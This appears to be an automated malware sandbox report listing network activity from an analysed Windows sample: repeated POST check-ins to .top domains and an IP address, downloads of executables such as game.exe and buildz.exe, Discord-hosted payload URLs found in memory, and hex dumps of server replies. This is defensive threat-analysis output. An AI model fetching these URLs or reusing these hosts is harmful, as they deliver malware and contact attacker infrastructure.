Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kmpicq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 302Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nyssomocem.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 330Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wplogk.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 203Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uuiisjmkv.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 192Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://siawn.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 264Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vvqdkujnt.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 176Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wogvus.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 338Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://alsla.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 327Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bpoitfpcxi.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 119Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ryypml.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 233Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ifklliaybe.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 110Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://omliatj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 250Host: hajezey1.top
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sysaheu90.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ikgpguftl.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 214Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://udluixh.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 277Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lbbxr.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 336Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 135Host: nusurtal4f.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 118Host: nusurtal4f.net
Source: global traffic	HTTP traffic detected: GET /dl/buildz.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: znpst.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dkukb.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 167Host: 193.56.146.214
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kvxhgwiwd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 367Host: 193.56.146.214
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 215Host: nusurtal4f.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 183Host: nusurtal4f.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fqytd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 270Host: 193.56.146.214
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 335Host: nusurtal4f.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dqqtfxwl.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 312Host: 193.56.146.214
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 364Host: nusurtal4f.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://knanvvmjy.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 324Host: 193.56.146.214
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fmwfrtbvy.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 256Host: 193.56.146.214
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 124Host: nusurtal4f.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 196Host: nusurtal4f.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ombhsev.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 170Host: 193.56.146.214
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 127Host: nusurtal4f.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://193.56.146.214/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 423Host: 193.56.146.214
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 201Host: nusurtal4f.net

Source: Joe Sandbox View

ASN Name: RTCOMM-ASRU RTCOMM-ASRU

Source: Joe Sandbox View	IP Address: 81.177.141.36 81.177.141.36
Source: Joe Sandbox View	IP Address: 193.56.146.214 193.56.146.214

Source: global traffic

TCP traffic: 192.168.2.7:49844 -> 93.115.20.139:28978

Source: 86B8.exe.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: 86B8.exe.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: 8746.exe.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: AdvancedRun.exe.31.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: 86B8.exe.7.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: 86B8.exe.7.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: 8746.exe.7.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: 86B8.exe.7.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: 8746.exe.7.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: 86B8.exe.7.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: 86B8.exe.7.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: 8746.exe.7.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: AdvancedRun.exe.31.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: 86B8.exe.7.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: 5D4.exe.7.dr	String found in binary or memory: http://fontello.com
Source: 86B8.exe.7.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: 86B8.exe.7.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: 8746.exe.7.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: 86B8.exe.7.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: 319A.exe, 0000001F.00000000.402921525.0000000000D52000.00000002.00020000.sdmp, 319A.exe.7.dr	String found in binary or memory: http://tempuri.org/DetailsDataSet1.xsd
Source: explorer.exe, 00000007.00000000.296667316.0000000006840000.00000004.00000001.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: 8746.exe.7.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: AdvancedRun.exe, AdvancedRun.exe, 00000023.00000002.433249054.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 0000002A.00000000.454048622.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe.31.dr	String found in binary or memory: http://www.nirsoft.net/
Source: sqlite3.dll.36.dr	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 1xVPfvJcrg.36.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 319A.exe, 0000001F.00000000.402921525.0000000000D52000.00000002.00020000.sdmp, 319A.exe.7.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/902526114763767818/A623D0D3.jpg
Source: 319A.exe, 0000001F.00000000.402921525.0000000000D52000.00000002.00020000.sdmp, 319A.exe.7.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/902526117016109056/AB0F9338.jpg
Source: 8746.exe.7.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/903196811345395712/6058E8D5.jpg
Source: EDD.exe, 0000001C.00000000.384142005.0000000000812000.00000002.00020000.sdmp, EDD.exe.7.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/903333369742491648/1E88D378.jpg
Source: 5D4.exe.7.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/903575517888925756/6D9E3C88.jpg
Source: 5D4.exe.7.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/903575519373697084/F83CB811.jpg
Source: 89D7.exe.7.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/903580013041967104/06ED9A1B.jpg
Source: 89D7.exe.7.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/903580015046828032/039F9A54.jpg
Source: 89D7.exe.7.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/903580017093660692/A303D181.jpg
Source: 89D7.exe.7.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/903580019203387432/930B55FC.jpg
Source: 1xVPfvJcrg.36.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 1xVPfvJcrg.36.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 1xVPfvJcrg.36.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 1xVPfvJcrg.36.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 1xVPfvJcrg.36.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: 1xVPfvJcrg.36.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: AdvancedRun.exe.31.dr	String found in binary or memory: https://sectigo.com/CPS0C
Source: 86B8.exe.7.dr	String found in binary or memory: https://sectigo.com/CPS0D
Source: 86B8.exe.7.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: 1xVPfvJcrg.36.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown

DNS traffic detected: queries for: xacokuo8.top

Source: global traffic	HTTP traffic detected: GET /downloads/toolspab2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytoolzforyou-6000.top
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sysaheu90.top
Source: global traffic	HTTP traffic detected: GET /agrybirdsgamerept HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Host: toptelete.top
Source: global traffic	HTTP traffic detected: GET //l/f/9Z2CynwB3dP17SpzOnMI/9f3868956801fb92fa090557a1edc6020dc838a9 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 194.180.174.181
Source: global traffic	HTTP traffic detected: GET /dl/buildz.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: znpst.top
Source: global traffic	HTTP traffic detected: GET //l/f/9Z2CynwB3dP17SpzOnMI/7af57f772c6107cc1c44807ee6e54627588ad2f9 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 194.180.174.181
Source: global traffic	HTTP traffic detected: GET //l/f/_51AzHwB3dP17SpzL5Xz/3c5ef2028f9a45f85119eb6cb39f21b264b252bf HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 194.180.174.181
Source: global traffic	HTTP traffic detected: GET //l/f/_51AzHwB3dP17SpzL5Xz/3fa38023efb6f7516e4aff23353cd7c666085597 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 194.180.174.181

Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:29:50 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 0d 0a 14 00 00 00 7b fa f1 1c b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:29:50 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 0b a2 13 cc 7b b8 43 12 c2 55 a1 b9 67 f4 25 45 51 b8 f6 cb 41 e1 0e 88 16 95 e1 63 da 7d b3 ef d2 01 79 e4 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OOj{CUg%EQAc}yc0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:29:53 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:29:53 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 93 d6 10 49 3a 40 a8 e8 dd e1 fd 5f f7 4d 91 71 b2 42 4a 84 4b f4 f1 2c 89 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:@_MqBJK,0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:30:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:30:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
